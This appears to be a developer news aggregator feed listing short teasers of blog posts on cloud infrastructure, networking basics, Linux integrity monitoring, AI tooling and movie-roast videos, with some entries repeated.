    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins just unleashed their trademark “16 minutes or less” takedown of the new K-Pop Demon Hunters flick, serving up snarky commentary on every plot hole, over-the-top fight scene and devilish dance move. It’s the perfect hilarious roast for fans who love to point out every cheeky “sin.” Hungry for more? Check out all their channels—YouTube (CinemaSins, TVSins, CommercialSins), Discord, Reddit, Instagram and TikTok—plus fill out a sinful poll or support the squad on Patreon. All the links you need live at linktr.ee/cinemasins. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less tears into Marvel’s latest with CinemaSins’ signature snark—calling it “sintastic” (not bad, just begging for nitpicks)—all wrapped up in under 20 minutes and featuring a cheeky plug for sponsor BetterHelp. Hungry for more sins? Slide over to cinemasins.com, support the team on Patreon, fill out their “sinful poll,” and join the fun on Discord, Reddit, Twitter, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    SpecterBeats
    🎧 Specter Beats: A Gesture-Controlled DJ Experience Built for Everyone, Everywhere Turning motion into music with nothing but your camera. Specter Beats is a browser-based, motion-controlled DJ app designed to make music creation accessible to anyone in the world. Using only a webcam, simple hand gestures can control effects, filters, and transitions in real time. No DJ hardware, no expensive gear, no friction — just pure creativity. The project was built for the Kiroween Hackathon, where the challenge was to create an unforgettable, Halloween-themed user interface. That led to the blend of eerie Spline scenes, floating eyes that track the cursor, animated glitch flashes, and a glowing purple globe that anchors the experience. But behind the spooky visuals is a deeper mission: to make …  ( 8 min )
    One-command ComfyUI on Cloud GPUs: A Practical, Repeatable Setup
    What we're building A repeatable way to boot a cloud GPU (RunPod or Vast.ai), paste a single command, grab the exact ComfyUI version you want, auto-install your favorite custom nodes, and download models from Hugging Face/Civitai into the correct folders. No more “did I put that LoRA in the right place?” or “why is this template six months behind?”. We’ll use a free script generator to produce the one-liner and show you how to tweak, debug, and extend it for your workflow. 💡 Pro tip: Time is literally money on cloud GPUs. Automating the boring parts pays for itself on the first run. If you’ve tried to stand up ComfyUI on a fresh GPU instance, you’ve probably done some combination of: Opening a terminal, then manually git pulling ComfyUI to get a newer version Downloading models piece…  ( 9 min )
    Why Every Business Needs an AI Customer Bot
    Running a business today means wearing many hats. You manage operations, talk to customers, close deals, plan growth, and solve unexpected problems. But while you handle all of that, one thing remains constant: customers will always have questions. And when those questions come in after working hours, during meetings, or when you're away from your devices, you risk losing potential sales, opportunities, and trust. This is exactly why every business, small or large, now needs an AI customer bot. Every time a customer reaches out and doesn't get a response, several things happen. They leave your site, choose a competitor, assume you're unavailable, or simply lose interest. Human support teams can't always be online. Traditional chatbots don't understand real business context. And hiring staf…  ( 8 min )
    MCPs for Developers Who Think They Don't Need MCPs
    Lately, I've seen more developers online starting to side eye MCP. There was a tweet by Darren Shepherd that summed it up well: "Most devs were introduced to MCP through coding agents (Cursor, VSCode) and most devs struggle to get value out of MCP in this use case... so they are rejecting MCP because they have a CLI and scripts available to them which are way better for them." Fair. Most developers were introduced to MCPs through some chat-with-your-code experience, and sometimes it doesn't feel better than just opening your terminal and using the tools you know. But here's the thing... MCPs weren't built just for developers. They're not just for IDE copilots or code buddies. At Block, we use MCPs across everything, from finance to design to legal to engineering. I gave a whole talk on how…  ( 9 min )
    My Model Cheated: How Grad-CAM Exposed a 95% Accuracy Lie
    The Project This week I was trying to work on a simple Deep Learning project to get familiar with PyTorch APIs. Since I had just returned from a staycation where I drove a rental car for over 600 miles, I decided to build a "Car Damage Classifier." I kept the goal simple: the model classifies if an uploaded image of a car is "DAMAGED" or "UNDAMAGED". I couldn't find a ready-to-use dataset, so I created one by merging a damaged car dataset (source: [lplenka/coco-car-damage-detection-dataset]) and a new car dataset (source: [yamaerenay/100-images-of-top-50-car-brands]). I made sure I roughly had the same number of images in my training set to avoid class imbalance. I began training using ResNet-18 as the backbone. Just after 10 epochs, my code reported a validation accuracy of 95.08%. I w…  ( 7 min )
    Used Mermaid.js to map out my DAWless live rig. Really great for documenting complex MIDI, Audio, and CV signal flow!
    LOT_002: First time using the new Zoom LiveTrak L6max Mikey Dorje ・ Nov 28 #dawless #techno #livemusic #gear  ( 6 min )
    I built an Advanced Python & JS Obfuscator with AI Auto-Decryption 🛡️
    Hey Developers! 👋 I'm EuroMoscow, a Full Stack Developer. Recently, I noticed that many online code obfuscators are either paid, outdated, or break the code after encryption (especially with Python versions mismatch). So, I decided to build my own solution: EuroMoscow Shield 🛡️. It is a free, mobile-responsive, and powerful tool to protect your Intellectual Property (IP) for both Python and JavaScript projects. EuroMoscow Shield 💻 Source Code: GitHub Repository 🔥 Key Features I wanted to create something robust, so I implemented multiple layers of protection: Safe Renaming: Smart AST parsing that renames variables/functions without breaking your logic. Portable Blob: A custom technique I developed to compress code into a zlib integer array (Runs on any Python…  ( 7 min )
    Connection-Management-Art-The-Performance-Secrets-of-Low-Level-Architecture
    GitHub Home That was in an IoT data processing platform project where we needed to handle hundreds of thousands of device connections simultaneously. Devices generate high-frequency data reporting while requiring real-time control command reception. This bidirectional communication scenario has extremely high requirements for connection management, where any minor performance loss gets amplified into significant problems. In the early stages of the project, we used a popular Node.js framework. In actual deployment, when connection numbers exceeded 50,000, server CPU usage soared to 95%, and response latency increased from a few milliseconds to several hundred milliseconds. Even worse, memory usage grew linearly, quickly reaching the system's physical memory limit. The technical team tried …  ( 9 min )
    [AWS] DevTools Evangelism: CodeDeploy Edition
    This article is a machine translation of the contents of the following URL, which I wrote in Japanese: https://qiita.com/Nana_777/items/c7ebc842c4557f8d811d This is the third post in the Japan AWS Top Engineers Advent Calendar 2025. In the previous post, we discussed AWS CodeCommit, which manages system assets. This time, we'll discuss CodeDeploy, which is used to deploy source code and system configurations. ↓ Click here for the Japan AWS Top Engineers Advent Calendar 2025 https://qiita.com/advent-calendar/2025/aws-top-engineers ↓ Previous AWS CodeCommit post https://dev.to/aws-builders/aws-devtools-evangelism-codecommit-edition-43e CodeDeploy is a service that automates deployments for AWS services such as Amazon EC2 and Lambda. The existing version and the new version are run simultaneo…  ( 10 min )
    Your Brain Isn’t Broken — Your Mental Architecture Is Outdated
    Why Buddhist Cognitive Science Explains What Neuroscience Cannot I spent five years studying the anatomy of the mind while teaching alongside monks in Himalayan monasteries. Not a single monk ever said, Instead, they said: Modern neuroscience identifies the cause (amygdala activation). Both are true. Neuroscience = the hardware diagnostics. And if you feel stuck, anxious, looping, or overwhelmed, Your brain isn’t broken — your map is. The Mind Is the Map Running on It.** Most mainstream content acts like mental suffering comes from a faulty chip: “Your amygdala is hijacking you.” “Your prefrontal cortex is under-regulated.” “Your dopamine baseline is off.” “Your cortisol is high.” This is reductionism disguised as explanation. Because the brain doesn’t determine meaning. The brain is a run…  ( 9 min )
    Enshittification: Why I’m leaving dev.to
    With thanks to The Oatmeal for the cover art. See also: enshittification. Please consider reading this post on autonomousapps.com instead. This will be my last post on the site dev.to. I’ve been posting my blog to that site since April 2018. My very first post was written when I was the Android team lead at Chess.com, titled Rewriting Chess.com’s Android app. Over the years, I’ve been more or less active, and have published 42 posts in all (counting this one).1 I’ve had concerns about the long-term viability of my presence on that site for a few years, as I’ve observed layers and layers of cruft accumulate around my actual content. I always had higher priorities though, and justified the cruft by recognizing that the site is providing a free service, and it frankly makes posting a tech blog to the internet fairly easy. The last straw came when, after my most recent post, two separate people contacted me about their experience trying to read it (one of them twice). First I was told that there’s a kind of soft login wall when visiting the post. I wasn’t aware of this because, as a writer on the site, I’m always logged in. The wall opens when interacting with one of those annoying popups so common on the Web these days: Note there’s only one option. Clicking it leads to this: Which fortunately can be dismissed. This is a dark pattern. Then later, someone sent me a screenshot of what it looks like after the login cruft has been brushed away: I’ve helpfully highlighted the portions of this screencap that are actual content. 21% of the screen real estate! And more than half the remaining is an ad for some bullshit “AI” product. Let me state this very clearly: fuck “AI.” It’s pure marking speak for a set of technologies founded upon harm, whose primary use-cases are harm. I want nothing to do with it. An auspicious number. ↩  ( 7 min )
    Most developers use AI… but very few know how to think with AI.
    That gap is becoming one of the biggest skill differences in our industry: Some devs copy/paste AI answers. That second group is growing fast. PIYE Studio helps developers learn the skills behind modern engineering: ✨ How to structure prompts like an engineer It’s not about replacing your skills — it’s about upgrading them. I’m excited to finally share a preview. If this aligns with how you want to learn and build, we would genuinely love your feedback ❤️ Try PIYE: piye.dev  ( 6 min )
    Design on the Go: The Best Lightweight Browser Vector Editors for Digital Marketers
    Design on the Go: The Best Lightweight Browser Vector Editors for Digital Marketers In today's fast-paced digital world, visual content is king. From stunning website graphics to engaging social media posts, high-quality visuals are crucial for capturing attention and conveying messages effectively. However, not every designer or digital marketer has access to expensive, resource-intensive desktop software like Adobe Illustrator, nor do they always need its full suite of complex features. The good news? A new wave of lightweight, browser-based vector design tools is revolutionizing how we create professional-grade graphics, offering unparalleled accessibility and convenience. These innovative online applications provide robust functionality without the hefty price tag or the need for power…  ( 9 min )
    I Fully Automated Resumes
    After getting rejected from 100+ developer jobs, I realized the problem wasn't my skills, my resume getting filtered out by ATS systems before a human ever saw it. So I built DevResumes.com to automate the entire resume process. 75% of resumes get rejected by ATS systems before humans see them Manually formatting resumes is a nightmare (Word, Docs, I'm looking at you two) Adding GitHub projects to resumes takes hours Optimizing for different job descriptions is tedious You never know if your resume will actually pass ATS I built an AI-powered resume builder that automates everything: Analyzes your resume and suggests improvements Enhances bullet points with quantifiable metrics Optimizes for ATS compatibility in real-time Connects to your GitHub account Automatically imports all your proje…  ( 7 min )
    Social Listening Enhanced by Sentiment and Entity Recognition
    Social platforms produce large volumes of unstructured conversations. Natural language processing enhances social listening by isolating sentiment, identifying topic keywords, and recognizing named entities such as product names or brands. This helps businesses monitor reputation, track market perception, and discover trending issues. Entity-aware sentiment provides deeper insight because it reveals not only whether users feel positive or negative, but exactly what they are responding to. Social listening tools use these techniques to categorize conversations at scale and detect emerging opportunities or risks. If you want to work with production-ready sentiment and text intelligence, you can integrate this API directly into your stack: Visit the official landing page: Text Sentiment & NLP Insights API landing page Explore the hosted version on RapidAPI: Text Sentiment & NLP Insights API on RapidAPI  ( 6 min )
    # What Is the OSI Model? Understanding All 7 Layers with Simple Examples
    Introduction In the world of networking, the OSI Model serves as a universal blueprint for how data travels across networks. Developed by the International Organization for Standardization (ISO) in 1984, it breaks down complex data transmission into seven distinct layers. For developers, network engineers, and DevOps pros, understanding the OSI Model demystifies everything from HTTP requests to TCP sockets in Node.js. It's not just theory—it's the foundation of modern network protocols, helping you troubleshoot and build robust applications. The OSI (Open Systems Interconnection) Model is a conceptual framework that standardizes communication between devices. It divides networking into seven layers, each handling specific tasks like error detection or routing. Unlike the simpler TCP/IP m…  ( 8 min )
    I built a FireCMS Clone using Svelte 4 — Here’s what I learned
    Why I built this For many Firebase projects, a lightweight headless CMS is incredibly useful — whether it’s to integrate a small blog, manage app content, or simply provide a structured way to handle Firestore data. There are not many choices which are well integrated with Firebase. In fact its's FireCMS or Flamelink. I like the integration of FireCMS, but for simple projects the full framework can feel a bit heavy. So I built my own alternative using Svelte 4. FireCMS is great in many ways, but for my use cases it often felt like more than I needed. The data model system is impressive, but sometimes the flexibility becomes complexity. The UI also didn’t quite fit how I wanted to work: large tables are hard to navigate, editing inside popups feels clumsy, and handling subcollections neve…  ( 8 min )
    # What Are Port Numbers? A Complete Guide to How They Work in Networking
    Introduction Imagine sending a letter without an address—your data packets in networking face the same chaos. Enter port numbers: the unsung heroes that direct traffic to the right application on a device. In modern networking, port numbers are crucial for everything from web browsing to running a Node.js server. Whether you're a developer debugging connections or a DevOps engineer optimizing infrastructure, understanding ports demystifies TCP/UDP protocols and boosts your troubleshooting skills. Let's dive in. Port numbers are 16-bit unsigned integers (0–65535) that act like apartment numbers in a massive building—your IP address is the building, and the port specifies the exact door. They identify specific processes or services on a networked device, ensuring data reaches the intended …  ( 8 min )
    Reverse Proxy en Docker con Nginx y SSL automático
    Código Rápido Si solo necesitas el código para configurar tu reverse proxy con Nginx y certificados SSL automáticos, aquí está: services: nginx-proxy: image: nginxproxy/nginx-proxy container_name: nginx-proxy ports: - "80:80" - "443:443" volumes: - /var/run/docker.sock:/tmp/docker.sock:ro - certs:/etc/nginx/certs - vhost:/etc/nginx/vhost.d - html:/usr/share/nginx/html networks: - proxy restart: always letsencrypt: image: nginxproxy/acme-companion container_name: nginx-proxy-letsencrypt volumes_from: - nginx-proxy volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - acme:/etc/acme.sh environment: - DEFAULT_EMAIL=tu-email@ejemplo.com depends_on: - nginx-proxy …  ( 11 min )
    Your-Dev-Server-is-Lying-to-You-The-Critical-Difference-Between-Hot-Reload-and-Hot-Restart
    GitHub Home As developers, we all cherish that "flow state." When you're fully focused, code flows from your fingertips, and with every save, the service in the terminal automatically restarts. A quick browser refresh, and your new changes are instantly visible. This immediate feedback loop is one of the most delightful experiences in modern web development. ✨ It makes us feel like we have superpowers, able to create at the speed of thought. In the Node.js world, we have nodemon. In the Rust world, we have cargo-watch. We usually call these tools "Hot-Reload." They are invaluable treasures during the development phase, significantly boosting our productivity. 🏃💨 But, as an old-timer, I have to throw some cold water on you today. 🥶 I want to tell you a dangerous truth: your development s…  ( 9 min )
    # Firewall Explained: How It Works, Types, and Why Every Network Needs One
    Introduction In today's hyper-connected world, where cyberattacks strike every 39 seconds, network security isn't optional—it's survival. Enter the firewall: your digital bouncer, enforcing rules to shield trusted networks from malicious traffic. As a cornerstone of cybersecurity, firewalls prevent unauthorized access, block malware, and mitigate DDoS attacks. Whether you're a developer hardening a Node.js app or a DevOps engineer fortifying infrastructure, understanding firewalls is key to building resilient systems. Let's break it down. A firewall is a security device or software that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between your internal network and the internet, inspecting data packets to decide wh…  ( 8 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is Cinemasins’ snarky take on the new KPop Demon Hunters movie, ripping into every over-the-top moment with their trademark rapid-fire “sins” commentary. Expect the usual pop-culture jabs, goofy demon-slaying critiques, and plenty of tongue-in-cheek humor from Jeremy and the rest of the team. For more twisted movie fun, head to cinemasins.com or subscribe to their YouTube channels (@TVSins, @CommercialSins, CinemaSins Podcast Network). You’ll also find their full link list on Linktree—complete with a fan poll, Patreon, Discord, Reddit, Instagram, TikTok—and shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel. Watch on YouTube  ( 6 min )
    Devnexus 2026 Showcases the Powerful Intersection of AI, Java, and Modern Developer Tooling in Atlanta
    Devnexus, the largest Java ecosystem conference in the United States, returns to the Georgia World Congress Center on March 4–6, 2026, bringing together thousands of developers, architects, and technology leaders for three days of deep technical learning focused on AI, Java, and cutting-edge developer tools. With over 100+ sessions, 10 content tracks, and a full day of hands-on workshops, Devnexus continues its mission to equip developers with the latest knowledge shaping modern software engineering. A Conference at the Crossroads of AI and Java As the software world rapidly transforms, Devnexus 2026 highlights how enterprise Java, generative AI, and modern developer practices are converging to build the next generation of intelligent, scalable systems. This year’s program spans four key…  ( 8 min )
    Master Terraform in 20 Minutes: Concepts, Commands & CI/CD
    Terraform has emerged as one of the most important DevOps technologies. Its the universal remote control for all your cloud resources. In this blog, we’ll break down Terraform from zero to hero with examples, diagrams, real-world tips, and best practices for production. Infrastructure, in the context refers to all the foundational components that support the operation/lifecycle of applications, software, and services. It’s the base layer that powers everything in technology. Infrastructure = Servers + Network + Storage + Databases + Security + Cloud Services Types of Infrastructure- 1.Physical Infrastructure Bare-metal servers Switches Routers Data center hardware 2.Virtual Infrastructure Virtual machines Hypervisors (VMware, KVM) Virtual networks 3.Cloud Infrastructure 4.Application Infra…  ( 9 min )
    Footer TagHelper
    Introduction Learn how to use a custom TagHelper for producing a consistent footer with properties for the application name, author name, and copyright year. Source code Hard-coded properties Read from appsettings.json Other options AppFooterTagHelper is in a class project, which makes TagHelper available to any ASP.NET Cor…  ( 8 min )
    Building a File Transfer TUI Nobody Asked For: tuit
    I've always been suspicious of file transfer tools. WeTransfer wants my email. AirDrop only works when it feels like it. scp requires me to remember which machine has the SSH key (shoutout to sshs). Google Drive is well, Google... So naturally I spent way too long building a terminal UI for something that already has a perfectly functional CLI. I did add a few features though so at least I have that going for me... The name is a bit of a pun - send "to it" or "in-to-it" for effortless P2P transfer. Just send tuit. The whole point was making transfers secure, private, and feel effortless. It's fully compatible with iroh's sendme CLI and the AltSendme GUI. Same BlobTicket format, same protocol. You can send from one and receive on another. QR code support for sharing tickets via mobile. The…  ( 10 min )
    K3S troubleshooting: Fixing K3s permission denied and port binding errors on Ubuntu Server
    Recently, while setting up K3s on a Beelink mini PC running Ubuntu Server, I ran into two frustrating errors while trying to run: kubectl get nodes The first issue was a permissions error loading the kubeconfig, and once that was fixed, a second error appeared indicating that the Kubernetes control plane wasn’t running. After debugging, here’s the full process and solution in case you run into the same problem. The initial error looked like this: WARN[0000] Unable to read /etc/rancher/k3s/k3s.yaml, please start server with --write-kubeconfig-mode or --write-kubeconfig-group to modify kube config permissions error: error loading config file "/etc/rancher/k3s/k3s.yaml": open /etc/rancher/k3s/k3s.yaml: permission denied This happens because K3s generates the Kubernetes config file owned by …  ( 7 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    CinemaSins runs the ruler over Fantastic Four: First Steps, rattling off their trademark “sins” in under 20 minutes—nothing earth-shattering, just the usual Marvel hiccups that make the film “sintastic” rather than spectacular. Along the way they plug BetterHelp therapy discounts, their main site, YouTube channels and socials, a quick poll, Patreon support and community hubs like Discord and Reddit, all fueled by a squad of writers eager to nitpick every cinematic misstep. Watch on YouTube  ( 6 min )
    The Case of the 40-Second Logins: Debugging an ALB Gone Wrong
    It was supposed to be a smooth EKS migration. Instead, a handful of users started complaining about painfully slow logins — 20 to 40 seconds long. Oddly, others saw no issue at all. What followed was a three-hour debugging marathon that took us through Cloudflare cache rabbit holes, pod benchmarking, and finally, an AWS ALB subnet misconfiguration. What makes this story worth telling is not just the root cause (a bad ALB IP), but the full forensic process — every command, every false lead, and the eventual breakthrough. This is an engineering playbook, shared so you don’t waste the same hours the next time you face an intermittent latency mystery. Summary After an EKS + ALB migration we saw intermittent 20–40s delays for users hitting SSO and API XHR endpoints. Some users were unaffected.…  ( 13 min )
    THE FREEDOM, YOU FORGOT YOU HAD: A LEGACY ARTICLE ON ROMANS 6
    INTRODUCTION: THE CHAPTER THAT CHANGES EVERYTHING Romans 6 isn’t simply a chapter in Paul’s letter to the Romans. It shakes the ground beneath every believer who has forgotten what grace actually does inside the human heart. This chapter is the dividing line between who you were It is the chapter where Paul grabs you by the shoulders and says: "Stop living like the old you is still alive." Romans 6 disrupts the excuses. It is the bold declaration that salvation is not the end of the story. This is the chapter that tells you: You are not who you used to be. So let’s go slow. SECTION ONE: “WHAT SHALL WE SAY THEN?” — THE QUESTION THAT STOPS US COLD Paul begins Romans 6 with a question that every honest believer must wrestle with: “Shall we continue in sin so that grace may abound?” That’s not…  ( 15 min )
    Surface Tension
    If you press your finger against water, it pushes back. That invisible resistance, surface tension, keeps the liquid whole even when disturbed. Good software has something like it. Some systems hold together when you change them; others leak at the slightest touch. The difference lies in integrity — the way a system manages its side effects without losing its shape. I've seen codebases that felt strangely calm, where every possible state meant something real and nothing arbitrary could slip in. Others allowed nonsense to exist, and from there, entropy spread quietly like cracks beneath paint. Type systems, invariants, and boundaries exist to make meaning explicit. They define where things start and stop — what’s allowed, and what isn’t. Without that structure, logic turns soft; assumptions…  ( 8 min )
    "THIS Is Not My Child" - Integrating PIXI.js in Tauri Vite React
    Ever start a “simple feature” and end up with a full-blown engineering case study? That was me last week. I set out to build a high-performance 2D canvas inside a Tauri app using React, PIXI.js, and pixi-viewport — just a grid, zoom, pan, and GPU-accelerated drawing. Estimated time: 2–3 hours. Here’s what I learned, step by step. Want the longer, meme-filled version? “THIS Is Not My Child” – LinkedIn version Choosing the Right Tools Over the years, I’ve explored a ton of 2D frameworks: Canvas2D, ZimJS, Fabric.js, Konva.js, even Three.js. For this project, PIXI.js won: GPU-accelerated Focused on 2D Mature ecosystem I paired it with React 19, pixi-viewport for zoom/pan, and wrapped it in Tauri + Vite for a desktop app. Easy setup, right? …Spoiler: not quite. The “Not My Child” Problem …  ( 8 min )
    Building The Digital Exorcism: Infinite Replayability Through Dynamic Generation (Part 2)
    Note: Part 2 of 2 - Adding infinite replayability to the security game Read Part 1 - how I built the initial version with specs, steering, hooks, and MCP. After building v1, I had a working game. But it had zero replayability. Once you played it, you knew exactly what to fix: XSS in VulnerableComponent1.tsx Hardcoded API key in VulnerableComponent2.tsx Code injection in VulnerableComponent3.tsx The magic was gone after one playthrough. I needed every session to be unique. I told Kiro: "I need dynamic vulnerability generation." Kiro suggested: "Let's spec it out." Even for enhancements, specs provide structure. ## Requirement 9: Dynamic Vulnerability Generation 9.1. WHEN user starts game THEN system SHALL randomly select 3-5 unique OWASP types 9.2. WHEN vulnerabilities generated THEN …  ( 10 min )
    The Digital Exorcism App with Kiro: Security Learning Through Haunted Codebase (Part 1)
    Building The Digital Exorcism: Teaching Security Through Haunted Code (Part 1) Note: Part 1 of 2 - My journey building a security game with Kiro When I was exploring ideas for Kiroween, I had this wild thought: what if learning security could feel less like reading a textbook and more like... well, performing an exorcism on haunted code? I personally find security learning boring. You read about SQL injection, mentally note "never hardcode secrets," then immediately forget it all when racing to ship features. The concept hit me at 3 AM (as all good/terrible ideas do): build something that shows the pain of bad code through interactive gameplay. A 'damned' codebase 'possessed by OWASP demons' seemed to reflect how we view critical security issues. Fix the vulnerabilities to perform the …  ( 9 min )
    A Gaggle of Agents
    There's a lot of hype around coding agents and the discourse can be annoying. I've always been into new shiny tools though. I'm forever messing with editors, IDEs, CLIs and anything else that seemed useful. Many of which no longer exist. In college we learned to code in assembly. C seemed very simple by comparison. Then object oriented languages and scripting seemed quaint. IDEs with refactoring and autocomplete made coding much easier. Tools like React and the ability to install npm packages made hacking a UI together somewhat less miserable and then before long somehow much more miserable. I had to take time to learn each new thing before it became useful but I enjoyed the learning. Now it's LLMs and agents. They're different but it's a similar feeling. It started with GitHub copilot and…  ( 15 min )
    Fighting the macOS File System: How I built a cross-platform organizer in Python
    The Problem I wanted a tool like Hazel, but free, open-source, and cross-platform. I didn't want my bank statements uploaded to the cloud just to be organized. I built a local-first Python daemon that watches your folders and uses OCR to sort files intelligently. (Explain how Anaconda and System Python fought on your Mac and how you fixed it). (Show your GitHub Actions YAML file). It's fully open source. Repo: [LINK TO YOUR GITHUB] Website: [LINK TO YOUR WEBSITE]  ( 6 min )
    Secure SSH Shell Applications - Planning Guide
    This hands-on build guide is designed to complement the main article on securing SSH shell applications and works for a quick planning reference. Hands-On Build Guide: Creating a Restricted SSH Shell Application This guide walks you through how to build a secure, restricted SSH shell application. Securing SSH Shell Applications, and pairs with the Printable Checklist for quick reference. The goal? Prepare the Application Environment Start by choosing where the application will live. Many administrators use a dedicated directory under /opt, keeping the application isolated from user home folders and system binaries. Decide on: The application directory The main entrypoint file Whether multiple files or modules will be needed The permissions model for that directory Create a clean, well…  ( 8 min )
    The Role of Data Analytics in Fighting Fraud and Corruption
    Introduction Fraud and corruption continue to drain the global economy, weaken public trust, and undermine the stability of countries and organizations. The world loses an estimated US$2.6 trillion annually to corruption alone, while businesses surrender about 5% of their yearly revenue to fraud. As digital systems expand and data grows, traditional detection methods—built on manual audits and delayed reviews—are no longer enough. Data analytics is emerging as one of the most powerful tools for identifying, preventing, and combating fraud and corruption. By transforming raw data into actionable insights, analytics exposes hidden risks that humans often miss and strengthens the transparency needed to reduce illegal activities. Understanding Fraud Through Data Fraud is often buried withi…  ( 8 min )
    This Isn’t a Tool Anymore: On Learning to Think With a Mirror
    It’s no secret that I use AI as a part of my writing process. But what I have been shy about—at least until now—is laying out the actual process. Not the tech. Not the prompt structure. rhythm. So let’s talk about that. Everyone’s heard the analogy: LLMs are mirrors. They just reflect your words back with more fluff. And yeah, that’s true. exactly why they’re useful. Because if you learn to think out loud—if you’re willing to explore a thought before you’ve fully formed it—that mirror can do something not many human conversation partners can: It reflects your unspoken shape. You put in fog. Here’s what it actually looks like for me. It’s not “open AI, write blog post.” It’s… daily conversation. Every so often, I open up a thread and start talking. And every once in a while—maybe every ten …  ( 9 min )
    What Sentiment Polarity Really Means in Natural Language Processing
    Sentiment polarity is one of the most commonly referenced outputs of a sentiment analysis model, yet it is often misunderstood. Polarity measures the direction and intensity of emotional tone within a piece of text. A high positive polarity indicates strong approval, satisfaction, or optimism, while a negative polarity reflects criticism, frustration, or concern. Values close to zero tend to represent neutral or balanced language. Polarity is valuable because it allows analysts and applications to quantify subjective language in a measurable way. This makes it easier to sort user feedback, analyze trends, and classify responses automatically. Even though polarity is a simple metric, it forms the foundation for more advanced sentiment and emotion modeling.  ( 6 min )
    Stop Grepping Your Monorepo: Real-Time Codebase Indexing with CocoIndex
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    🎄 3 tips to wrap up your projects before the holidays
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    How to Create An Amazon EKS - Step by Step for Beginners On-cloud7 ・ Nov 30 #aws #eks #containers #cloud  ( 6 min )
    How to Create An Amazon EKS - Step by Step for Beginners
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    SQL Case Files: A Free, Story Driven way to practice SQL
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    CAVLite: Lightweight, Memory-Efficient Security Audit for Low-RAM Servers.
    Hello, I'm Ganesh. I'm working on FreeDevTools online, currently building a single platform for all development tools, cheat codes, and TL; DRs — a free, open-source hub where developers can quickly find and use tools without the hassle of searching the internet. If you run a server with limited resources—specifically, standard 4GB RAM and 2 vCPU setup- you are likely familiar with the constant, stressful balancing act between performance and security. You know you need antivirus protection and system audits. You know the risks of leaving a server vulnerable to intruders, malware, and data theft. But you also know that running a standard security scan on a lean VPS can be a death sentence for your uptime. Ultimately, you are forced into a terrible choice: leave the server vulnerable, or ri…  ( 8 min )
    Getting Started with AWS CDK on Linux: A Complete Setup Guide
    Getting Started with AWS CDK on Linux: A Complete Setup Guide Infrastructure as Code (IaC) has revolutionized how we manage cloud resources, and AWS Cloud Development Kit (CDK) takes it to the next level by letting you define infrastructure using familiar programming languages. In this guide, I'll walk you through setting up AWS CDK on Linux, from installation to deploying your first stack. AWS CDK is an open-source software development framework that allows you to define cloud infrastructure using programming languages like TypeScript, Python, Java, and C#. Unlike traditional CloudFormation templates written in JSON or YAML, CDK lets you leverage the full power of programming languages—including loops, conditionals, and object-oriented design patterns. Type Safety: Catch errors at compi…  ( 11 min )
    2025 Developer Advent Calendars
    Tomorrow is the first of December. It is time for the advent calendars. In recent years there been various developer related advent calendars. The calendar may offer code challenges, like the Advent of Code, or be content centered like HTMHell. Why release my list the day before, to give people time to check them out before the challenge drops. Also Advent of Code opens at midnight EST. Most of these start Dec 1 and run 24 days but a few only run 12 days and might start later in the month. The most well known is the Eric Wastl's Advent of Code it will start dropping challenges at midnight EST (UTC-5) on December 1. There is a big change this year. There are only 12 days of puzzles this year. Eric been running this challenge for ten years and needed to reduce stress. The puzzles are langua…  ( 8 min )
    Build Your Own AIDE Automation - Guide
    This guide accompanies the main article, AIDE in Motion: Automating and Signing System Integrity Checks, and pairs with the AIDE Daily Integrity Checklist for a concise, printable summary of the workflow. This section walks you through how to build your own automation script, step by step. Instead of copying a pre-made solution, you’ll learn how each component fits together so you can adapt it to your environment, strengthen the workflow, or extend it with your own logic. Your final script will do four major things: Verify the last report Run a new AIDE check (Optionally) update the baseline Hash and sign the new report Let’s walk through how to build each part. Step 1 — Create a Safe Working Layout Before writing any code, decide where the script lives and where evidence files will be s…  ( 8 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less Cinemasins just dropped a new video tearing into KPop Demon Hunters, highlighting every plot hiccup and over-the-top moment with their trademark snark. They’ve got all the sinning action spread across YouTube (CinemaSins, TVSins, CommercialSins, the Cinemasins Podcast), plus a linktree for the latest updates. Behind the jokes are writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—find them on Twitter and Instagram. Want more? Join the Discord or Reddit community, take their “sinful” poll, or back the team on Patreon for extra pop-culture burns. Watch on YouTube  ( 6 min )
    AIDE Daily Automation Build - Checklist Your Implementation Roadmap
    This checklist is a companion to the main article, AIDE in Motion, and the detailed AIDE Automation Build Guide, which explains each step in greater depth. AIDE Daily Integrity Automation — Build Checklist A step-by-step checklist for creating a signed, verifiable AIDE automation workflow. 1. Prepare the Folder Structure [ ] Create /var/log/aide/ for daily reports [ ] Create /root/.aide/ for secure storage [ ] Create /root/.aide/reports/ for signatures + hashes [ ] Verify root-only permissions on /root/.aide* [ ] Decide retention policy (e.g., keep last 30–90 reports) 2. Confirm Your GPG Signing Key [ ] Ensure a GPG key pair exists (gpg --list-keys) [ ] Verify signing works (gpg --detach-sign testfile) [ ] Confirm public key export location (optional for auditing teams) 3. Verify …  ( 7 min )
    AIDE in Motion Automating and Signing System Integrity Checks
    If your system could testify, AIDE would be its expert witness. proving it. trust but verify itself. Introduction I’ll be the first to admit: encryption isn’t my strongest area. Sure, I’ve worked with public and private keys for SSH authentication and have signed keys before, so I’m not entirely new to the topic. But I hadn’t really explored how cryptography ties into system integrity — until now. In the first article of this series, we installed and configured AIDE (Advanced Intrusion Detection Environment) — a silent guardian that fingerprints your Linux system and detects when files change unexpectedly. It’s an excellent tool for monitoring file integrity, but it raises an important question: If AIDE verifies the integrity of your files, who verifies the integrity of AIDE?…  ( 9 min )
    Automate PDF Data Extraction with n8n: Processing 30,000+ Documents Without Breaking a Sweat
